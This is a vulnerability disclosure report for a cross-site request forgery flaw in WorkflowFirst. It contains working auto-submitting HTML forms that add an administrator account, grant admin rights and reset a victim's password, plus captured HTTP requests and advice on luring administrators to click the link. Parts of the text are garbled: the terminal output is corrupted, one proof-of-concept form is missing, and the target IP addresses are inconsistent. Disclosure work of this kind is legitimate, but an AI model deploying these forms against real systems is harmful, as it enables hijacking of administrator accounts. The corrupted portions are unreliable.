WorkflowFirst (<= 1.5.0.2908) Cross-site Request Forgery (CSRF) Vulnerability Discovery

Proof-of-Concept

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National Vulnerability Database

(https://nvd.nist.gov/cvss/v2-calculator)

Overall CVSS Score: 8.3


CVSS v2 Vector (AV:N/AC:M/Au:N/C:C/I:P/A:P/E:H/RL:U/RC:C)

About CSRF

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they are currently authenticated to. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request.

- OWASP Top 10 (https://www.owasp.org/index.php/Cross-Site Request Forgery (CSRF))

In the case of WorkflowFirst, gaining unauthorised Administrator privileges is of critical severity because the user can use the Dbfscript Command Window under 'Admin Tools' to read ANY system files, including WorkflowFirst configuration files. The attacker also has access to all user details and is able to make unauthorized changes.



Proof-of-Concept

The following Proof-of-Concept is carried out on the Express version (Free to download from www.workflowfirst.com). The vulnerability was discovered on the Enterprise version.

Simulated Local Environment (Similar to a public network)

Attacker's Machine IP: 192.168.1.10 WorkflowFirst IP: 192.168.1.8

Attacker's Environment

An attacker machine (Kali Linux) with IP address 192.168.1.10 is set-up to host the CSRF forms on a HTTP server.

The following code snippet shows the CSRF Proof-of-Concept code to add an administrator account.

- CSRF_addadmin.html

```
<html>
   <body>
          <form action="http://192.168.1.8:8250/commitupdate.aspx?view=Users"</pre>
method="POST" enctype="multipart/form-data">
            <input type="hidden" name="UserID" value="NewAdminAccountCSRF" />
            <input type="hidden" name="Password" value="AttackerSelectedPW" />
            <input type="hidden" name="FullName" value="NewAdminAccountCSRF" />
            <input type="hidden" name="EMail" value="NewAdmin@csrf.com" />
            <input type="hidden" name="Admin" value="true" />
            <input type="hidden" name="_action" value="OK" />
            <input type="submit" value="Submit request" />
          </form>
           <script>
                  document.forms[0].submit();
           </script>
   </body>
</html>
```

The following code snippet shows the CSRF Proof-of-Concept code to edit user to have 'Admin' rights.

- CSRF_changeadmin.html


The following code snippet shows the CSRF Proof-of-Concept code to change a victim's password.

- CSRF_changepassword.html

```
<html>
       <body>
              <form
action="http://192.168.1.8:8250/commitupdate.aspx?actioncontext=%2fUsers%5bID%3d%<Insert
User ID of victim here>%22%5d&view=PendAction" method="POST" enctype="multipart/form-
data">
                      <input type="hidden" name="actionid" value="UpdatePassword" />
                      <input type="hidden" name="NewPassword" value="Password1" />
                      <input type="hidden" name="ConfirmPassword" value="Password1" />
                      <input type="hidden" name=" action" value="OK" />
                      <input type="submit" value="Submit request" />
              </form>
              <script>
                      document.forms[0].submit();
               </script>
       </body>
</html>
```

The following screenshots show the IP address and CSRF forms in the HTTP server of the attack's machine.


```
oot@ham:/var/www/html# ifconfig
         Link encap:Ethernetss HWaddr 08:00:27:38:f3:25 -- Users
eth0
         inet addr:192.168.1.10 Bcast:192.168.1.255 Mask:255.255.255.0
         inet6 addr: fe80::a00:27ff:fe38:f325/64 Scope:Link
         UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
         RX packets:331720 errors:0 dropped:0 overruns:0 frame:0
         TX packets:587353 errors:0 dropped:0 overruns:0 carrier:0
         collisions:0 txqueuelen:1000
         RX bytes:153887901 (146.7 MiB) t TX bytes:118993014 (113.4 MiB)
         Link encap:Local Loopbackme Current Setting Required Descri
lo
         inet addr:127.0.0.1 Mask:255.0.0.0
         inet6 addr: ::1/128 Scope:Host
         UP LOOPBACK RUNNING MTU:6553644Metric:1
         RX packets:13207 errors:0 dropped:0 overruns:0 frame:0
         TX packets:13207 errors:0 dropped:0 overruns:0 carrier:0
         collisions:0 txqueuelen:0
         RX bytes:41477810 (39.5 MiB) TX bytes:41477810 (39.5 MiB)
coot@ham:/var/www/html# ls
oot@ham:/var/www/html#
```



Real Administrator's Environment

The WorkflowFirst application is hosted on http://192.168.1.10:8250. In the following screenshot, 3 users have been deliberately created for demonstration purposes. They are namely Administrator, the attacker and one other user who is a non-admin.

The administrator of the application is currently logged on.



Suppose an attacker carries out the CSRF attack and the Administrator clicks on any of the malicious link such as the following, the outcome of Point 1 and 2 are documented in the next few pages.


- 1) http://192.168.1.10/CSRF_addadmin.html
- 2) http://192.168.1.10/CSRF changeadmin.html
- 3) http://192.168.1.10/CSRF_changepassword.html

^{**}Write-up will not be written for point 3 since the concept is the same, however, the attacker will need to capture the User ID and craft it in the CSRF PoC form. The User ID can be captured a using packet sniffing tool such as wireshark.

http://192.168.1.10/CSRF addadmin.html

An attacker sends out the above malicious link to a group of targeted users likely to be an administrator. (For illustration purpose, no effort has been taken to ensure that the link looks legitimate).


When the administrator clicks on the malicious link, the form is automatically submitted on behalf of him.



During that time, the attacker will be repeatedly attempting to login with -

Username: NewAdminAccountCSRF Password: AttackerSelectedPW

When the attacker successfully logs in, it would be known that an administrator clicked on the malicious link and the CSRF attack is successful.



^{**}The HTTP request of the CSRF is attached in Appendix A at the end of this report.

http://192.168.1.10/CSRF_changeadmin.html

Similarly, after a successful CSRF attack with this CSRF payload, the attacker account is granted Admin rights.


In this attack, the attacker will need a User ID, which is easy to obtain by looking at HTTP history or the URL.

(User ID: 39a98f29-edcf-49b4-a449-c7e4c53b0)


```
GET /dataview.aspx?focus=%2f39a98f29-edcf-49b4-a449-c7e4c53b0ec7&view=Users HTTP/1.1
Host: 192.168.1.8:8250
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0
Iceweasel/31.8.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.8:8250/dataview.aspx
Cookie: sess=TDW616RlmJLGFM2s65zUQouiyRMEg73egrc9Jr3W
Connection: close
```

Insert User ID into the CSRF_changeadmin.html form.

Before the attack -



After the attack (Attacker re-authenticates to refresh settings) –



^{**}The HTTP request of the CSRF payload is attached in Appendix B at the end of this report.

--End Report--

Appendix A

OK

-----87418794017477014161967914243--

POST /commitupdate.aspx?view=Users HTTP/1.1 Host: 192.168.1.8:8250 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.1.10/CSRF_addadmin.html Cookie: sess=TDW616RlmJLGFM2s65zUQouiyRMEg73egrc9Jr3W Connection: close Content-Type: multipart/form-data; boundary=-----87418794017477014161967914243 Content-Length: 801 -----87418794017477014161967914243 Content-Disposition: form-data; name="UserID" NewAdminAccountCSRF -----87418794017477014161967914243 Content-Disposition: form-data; name="Password" AttackerSelectedPW -----87418794017477014161967914243 Content-Disposition: form-data; name="FullName" NewAdminAccountCSRF -----87418794017477014161967914243 Content-Disposition: form-data; name="EMail" NewAdmin@csrf.com -----87418794017477014161967914243 Content-Disposition: form-data; name="Admin" true -----87418794017477014161967914243 Content-Disposition: form-data; name="_action"

Appendix B

POST /commitupdate.aspx?focus=%2f39a98f29-edcf-49b4-a449-c7e4c53b0ec7&view=Users HTTP/1.1

Host: 192.168.1.8:8250

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate

Referer: http://192.168.1.10/CSRF_changeadmin.html

Cookie: sess=TDW616RlmJLGFM2s65zUQouiyRMEg73egrc9Jr3W

Connection: close

Content-Type: multipart/form-data; boundary=-----

126573653019098209431708354102

Content-Length: 297

-----126573653019098209431708354102

Content-Disposition: form-data; name="Admin"

true

-----126573653019098209431708354102

Content-Disposition: form-data; name="_action"

Update

-----126573653019098209431708354102--